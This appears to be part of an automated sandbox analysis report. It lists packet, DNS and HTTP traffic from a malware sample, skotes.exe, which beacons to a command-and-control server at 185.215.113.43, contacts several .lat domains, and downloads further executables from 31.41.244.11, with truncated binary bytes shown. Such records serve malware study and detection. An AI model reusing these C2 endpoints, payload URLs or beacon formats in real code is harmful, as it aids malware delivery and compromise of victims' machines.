Dec 19, 2024 06:10:10.942974091 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.943871975 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.944015980 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.944031000 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.944081068 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.944999933 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.945095062 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.945163965 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.946099043 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.946197033 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.946302891 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.947170973 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.947289944 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.947341919 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.948309898 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.948367119 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.948498964 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.948577881 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.949409962 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.949506044 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.949529886 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.950196028 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.950522900 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.950639009 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.950658083 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.950959921 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.951628923 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.951668978 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.951724052 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.951762915 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.952712059 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.952753067 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.952845097 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.952989101 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.953841925 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.953891039 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.953928947 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.954065084 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.954977989 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.955081940 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.955140114 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.956049919 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.956104040 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.956192970 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.956294060 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.957307100 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.957436085 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.957545042 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.958285093 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.958327055 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.958424091 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.959217072 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.959393978 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.959486961 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.959515095 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.959553957 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.960501909 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.960577965 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.960617065 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.960669994 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.961601973 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.961730957 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.961900949 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.962721109 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.962799072 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.963059902 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:11.097872019 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:11.097889900 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:11.097923994 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:11.097923994 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:11.245203972 CET	443	49918	104.21.64.80	192.168.2.4
Dec 19, 2024 06:10:11.245333910 CET	49918	443	192.168.2.4	104.21.64.80
Dec 19, 2024 06:10:11.463579893 CET	443	49922	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:11.463654041 CET	49922	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:11.554972887 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:11.555061102 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:12.323013067 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:12.323168993 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:13.762973070 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:13.763026953 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:16.611263990 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:16.611319065 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:21.986998081 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:21.987077951 CET	49910	80	192.168.2.4	31.41.244.11

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 06:09:51.241851091 CET	55984	53	192.168.2.4	1.1.1.1
Dec 19, 2024 06:09:51.380851030 CET	53	55984	1.1.1.1	192.168.2.4
Dec 19, 2024 06:09:54.243412018 CET	59756	53	192.168.2.4	1.1.1.1
Dec 19, 2024 06:09:54.383369923 CET	53	59756	1.1.1.1	192.168.2.4
Dec 19, 2024 06:09:59.035229921 CET	54369	53	192.168.2.4	1.1.1.1
Dec 19, 2024 06:09:59.358251095 CET	53	54369	1.1.1.1	192.168.2.4
Dec 19, 2024 06:10:09.378331900 CET	53237	53	192.168.2.4	1.1.1.1
Dec 19, 2024 06:10:09.602406979 CET	53	53237	1.1.1.1	192.168.2.4
Dec 19, 2024 06:10:09.606668949 CET	58687	53	192.168.2.4	1.1.1.1
Dec 19, 2024 06:10:10.018122911 CET	53	58687	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 06:09:51.241851091 CET	192.168.2.4	1.1.1.1	0x1f85	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 06:09:54.243412018 CET	192.168.2.4	1.1.1.1	0x4483	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 06:09:59.035229921 CET	192.168.2.4	1.1.1.1	0xdcf9	Standard query (0)	aspecteirs.lat	A (IP address)	IN (0x0001)	false
Dec 19, 2024 06:10:09.378331900 CET	192.168.2.4	1.1.1.1	0xdbac	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 19, 2024 06:10:09.606668949 CET	192.168.2.4	1.1.1.1	0x4b91	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 06:09:51.380851030 CET	1.1.1.1	192.168.2.4	0x1f85	No error (0)	github.com		20.233.83.145	A (IP address)	IN (0x0001)	false
Dec 19, 2024 06:09:54.383369923 CET	1.1.1.1	192.168.2.4	0x4483	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Dec 19, 2024 06:09:54.383369923 CET	1.1.1.1	192.168.2.4	0x4483	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 19, 2024 06:09:54.383369923 CET	1.1.1.1	192.168.2.4	0x4483	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Dec 19, 2024 06:09:54.383369923 CET	1.1.1.1	192.168.2.4	0x4483	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 19, 2024 06:09:59.358251095 CET	1.1.1.1	192.168.2.4	0xdcf9	No error (0)	aspecteirs.lat		104.21.66.85	A (IP address)	IN (0x0001)	false
Dec 19, 2024 06:09:59.358251095 CET	1.1.1.1	192.168.2.4	0xdcf9	No error (0)	aspecteirs.lat		172.67.157.253	A (IP address)	IN (0x0001)	false
Dec 19, 2024 06:10:09.602406979 CET	1.1.1.1	192.168.2.4	0xdbac	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 19, 2024 06:10:10.018122911 CET	1.1.1.1	192.168.2.4	0x4b91	No error (0)	grannyejh.lat		104.21.64.80	A (IP address)	IN (0x0001)	false
Dec 19, 2024 06:10:10.018122911 CET	1.1.1.1	192.168.2.4	0x4b91	No error (0)	grannyejh.lat		172.67.179.109	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

github.com

raw.githubusercontent.com

aspecteirs.lat

185.215.113.43

31.41.244.11

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49748	185.215.113.43	80	7832	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 06:09:04.159213066 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 06:09:05.497010946 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 05:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49754	185.215.113.43	80	7832	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 06:09:07.178826094 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 19, 2024 06:09:09.829411983 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 05:09:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 33 31 0d 0a 20 3c 63 3e 31 30 31 37 33 31 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 61 32 64 63 62 31 32 31 65 65 37 30 36 62 31 31 64 31 35 30 33 34 66 38 64 64 38 63 32 32 62 62 34 62 34 39 61 35 35 33 36 65 36 23 31 30 31 37 33 32 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 61 32 64 63 62 31 32 31 65 65 37 30 36 62 31 31 64 31 35 30 33 35 65 38 32 38 34 64 65 31 63 61 62 39 64 39 61 35 35 33 36 65 36 23 31 30 31 37 33 35 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 37 37 30 39 65 35 62 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 37 33 35 32 30 30 31 2b 2b 2b [TRUNCATED] Data Ascii: 631 <c>1017319001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9a2dcb121ee706b11d15034f8dd8c22bb4b49a5536e6#1017321001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9a2dcb121ee706b11d15035e8284de1cab9d9a5536e6#1017351001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709e5b03ac52ea484b411b9dc4e1#1017352001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1017353001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1017354001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcf70964e03ac52ea484b411b9dc4e1#1017355001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd32c86444db31cf64d4a485a9592e100b7#1017356001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1017357001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1017358001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#101 [TRUNCATED]
Dec 19, 2024 06:09:09.829545021 CET	124	IN	Data Raw: 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 37 33 36 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 Data Ascii: c00b58987e8fcf7b8c730804042ba5ce902415450#1017360001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa4
Dec 19, 2024 06:09:10.063214064 CET	416	IN	Data Raw: 39 35 63 34 39 23 31 30 31 37 33 36 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 Data Ascii: 95c49#1017361001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1017362001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709c4543b01cf64d4a485a9592e100b7#1017363001+++b5937c1a99d5f9df0b5dafc85062

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49763	31.41.244.11	80	7832	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 06:09:10.187891960 CET	66	OUT	GET /files/1293295511/zudFSfy.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 06:09:11.524941921 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 05:09:11 GMT Content-Type: application/octet-stream Content-Length: 1114112 Last-Modified: Thu, 19 Dec 2024 03:43:46 GMT Connection: keep-alive ETag: "67639672-110000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 24 95 63 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 cc 10 00 00 32 00 00 00 00 00 00 ee ea 10 00 00 20 00 00 00 00 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 11 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 ea 10 00 57 00 00 00 00 00 11 00 48 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL$cg02 @ `@WH/@ H.text `.rsrcH/0@@.reloc@@BH<K`pY?F60584zc:VN01O*S~IpRiIPn}iJ!BH+o/Syj8T'}yIkD'$6}w[ )j[-0\|ph\LRT~bKh"8s`)1 [i&9a?FN~_^Q43L@vxIB4\|(~YLS;x)wv:2y%{3w)^7@7k
Dec 19, 2024 06:09:11.525006056 CET	224	IN	Data Raw: c5 aa 48 9b ae 70 7d f1 84 22 02 e3 af 25 ff 70 0b a7 0d f0 30 e9 b8 67 c4 33 a1 c7 f4 e2 67 07 b9 1d 13 d5 b0 15 b7 9a 9c f0 4c 20 85 a8 02 8b 95 86 b3 8e 7d 65 ab 63 4d 56 2e 77 fb 94 14 cb 5e 76 61 bc 07 61 d8 0e 44 fa a3 52 50 b7 c7 84 0f 72 Data Ascii: Hp}"%p0g3gL }ecMV.w^vaaDRPr\|>CNbYluH#61Z:';)5q2}KK'Rm!a;ijxL8MMWYbp{,mgT%
Dec 19, 2024 06:09:11.525037050 CET	1236	IN	Data Raw: 03 9a 99 28 de 39 c1 02 3c 9f 5f 07 7b 3b b2 00 b7 ae d7 74 6f 85 80 52 4f 1f 65 f3 11 d5 ea aa cb 37 b8 97 99 bd 98 59 d6 b2 7d 58 2f 03 43 c3 c0 83 99 4e 37 53 11 b3 a4 15 45 24 c0 eb f4 28 0a f6 b8 1d 22 b0 9e 28 a5 23 9f b0 3d 01 06 1a fd 14 Data Ascii: (9<_{;toROe7Y}X/CN7SE$("(#=E@pw9RoyorX]i#-da,WQgn1ttuOG_gyf=O'\@&e:NJMqxC(R9VobP#k
Dec 19, 2024 06:09:11.525105953 CET	1236	IN	Data Raw: 00 00 0a 13 04 06 6f 10 00 00 0a 1f 0d 6a 59 13 05 07 06 11 04 11 05 09 6f 1a 00 00 06 2a 00 00 00 13 30 07 00 e8 04 00 00 03 00 00 11 20 80 01 00 00 0a 20 80 01 00 00 8d 2c 00 00 01 25 d0 02 00 00 04 28 11 00 00 0a 0b 1f 10 8d 2c 00 00 01 0c 20 Data Ascii: ojYo*0 ,%(, 79d : a%$^E${?P@ZW6Qv!_8
Dec 19, 2024 06:09:11.525139093 CET	448	IN	Data Raw: 5d f2 34 5a 20 85 d8 21 a1 61 38 79 fb ff ff 11 06 1f 0d 11 06 1f 0d 95 08 1f 0d 95 61 9e 11 06 1f 0e 11 06 1f 0e 95 08 1f 0e 95 61 9e 11 0c 20 92 86 6d 1c 5a 20 ed a5 68 b5 61 38 48 fb ff ff 2a 13 30 08 00 a7 02 00 00 04 00 00 11 02 20 ff ba 88 Data Ascii: ]4Z !a8yaa mZ ha8H*0 Z &a JGW 8a%^E0U;H8C~%X~%Xb`~%Xb`~%Xb`~%
Dec 19, 2024 06:09:11.525171995 CET	1236	IN	Data Raw: 7e 01 00 00 04 02 11 06 16 11 04 1a 59 28 15 00 00 0a 11 07 20 35 b5 9d ba 5a 20 ab 4b 17 11 61 38 7c fe ff ff 17 8d 01 00 00 1b 0d 11 07 20 05 58 79 b0 5a 20 c8 f6 ac 6d 61 38 62 fe ff ff 7e 01 00 00 04 02 25 17 58 10 00 91 7e 01 00 00 04 02 25 Data Ascii: ~Y( 5Z Ka8\| XyZ ma8b~%X~%Xb`~%Xb`~%Xb`(~o( m9Z ia8nj. @%+ i_%& a&Za8b S@Z %a8 Q}
Dec 19, 2024 06:09:11.525207996 CET	1236	IN	Data Raw: 97 0c 5a 20 99 8d e9 5d 61 38 3b ff ff ff 7e 01 00 00 04 02 25 17 58 10 00 91 7e 01 00 00 04 02 25 17 58 10 00 91 1e 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 10 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 18 62 60 13 05 11 07 20 15 0c 4f 7d Data Ascii: Z ]a8;~%X~%Xb`~%Xb`~%Xb` O}Z =a8(~o( <Z %&2a8 }Z ZHa8d Z a8nj3 :%+ U[%&8o~Y( =>
Dec 19, 2024 06:09:11.525242090 CET	448	IN	Data Raw: 5a 61 38 7a fd ff ff 7e 01 00 00 04 02 25 17 58 10 00 91 7e 01 00 00 04 02 25 17 58 10 00 91 1e 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 10 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 18 62 60 0c 11 07 20 b4 27 69 ee 5a 20 31 e0 3e 4d 61 38 Data Ascii: Za8z~%X~%Xb`~%Xb`~%Xb` 'iZ 1>Ma8+d bZ a8*0 wZ ad - Ota%^E5+eMz
Dec 19, 2024 06:09:11.525275946 CET	1236	IN	Data Raw: 00 00 0a 11 07 20 77 4a cb a3 5a 20 a6 f9 29 74 61 38 c8 fe ff ff 06 6e 16 6a 2e 08 20 f3 db 99 66 25 2b 06 20 eb 44 23 69 25 26 38 ae fe ff ff 02 20 ff ff ff 3f 5f 10 00 11 07 20 e2 30 7b eb 5a 20 69 c4 ba 23 61 38 92 fe ff ff 06 6e 17 6a 2e 08 Data Ascii: wJZ )ta8nj. f%+ D#i%&8 ?_ 0{Z i#a8nj. bH%+ ~\M%&8x~%X~%Xb`~%Xb`~%Xb` nZ a8)~%X~%Xb`~%Xb`~%Xb`
Dec 19, 2024 06:09:11.525310993 CET	1236	IN	Data Raw: 20 1f 91 29 48 25 2b 06 20 a6 c7 a0 52 25 26 2b c2 07 17 59 0b 08 20 87 f1 40 8a 5a 20 da c4 75 01 61 2b af 06 17 62 02 7b 04 00 00 04 06 8f 02 00 00 02 03 28 0a 00 00 06 58 0a 20 25 bc 71 5f 2b 91 08 20 0a b5 00 85 5a 20 e3 cb 8d 74 61 2b 82 06 Data Ascii: )H%+ R%&+Y @Z ua+b{(X %q_+ Z ta+{_bY*0 # a%^E0aJ+ vZ [bma+{(b Y+{2 {%+ -%&+X
Dec 19, 2024 06:09:11.644917965 CET	1236	IN	Data Raw: 00 13 30 03 00 07 00 00 00 01 00 00 11 02 28 19 00 00 0a 2a 00 13 30 05 00 43 01 00 00 08 00 00 11 02 20 c0 00 00 00 8d 02 00 00 02 7d 09 00 00 04 02 20 c0 00 00 00 8d 02 00 00 02 7d 0a 00 00 04 02 1f 0c 8d 02 00 00 02 7d 0b 00 00 04 02 1f 0c 8d Data Ascii: 0(*0C } }}}}}s }s&}s2}r}}s}s }s}( W) Ia%^EJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49777	185.215.113.43	80	7832	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 06:09:15.969274998 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 33 31 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017319001&unit=246122658369
Dec 19, 2024 06:09:18.929843903 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 05:09:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49787	31.41.244.11	80	7832	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 06:09:19.053352118 CET	66	OUT	GET /files/1293295511/kz8ZdyP.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 06:09:20.397093058 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 05:09:20 GMT Content-Type: application/octet-stream Content-Length: 1102336 Last-Modified: Thu, 19 Dec 2024 03:48:32 GMT Connection: keep-alive ETag: "67639790-10d200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 d0 96 63 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 9e 10 00 00 32 00 00 00 00 00 00 de bc 10 00 00 20 00 00 00 c0 10 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 11 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8c bc 10 00 4f 00 00 00 00 c0 10 00 48 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELcg02 @ @OH/ H.text `.rsrcH/0@@.reloc@BHKCW- B&n)T:.5G+GSQ0xO(pzLS;$Xli%)ZIXvS^i7:-r""955;)SaP^BKt?!' kY4v$$Q-0!@?HM-a,?X0r,argMs#q/JOvg7h!xOc<stQ]i0g)dTQ"r2h7gdb@$S}#tB\|\@?cx8z\,JY?\k}ki?m>~i]pQQLyK
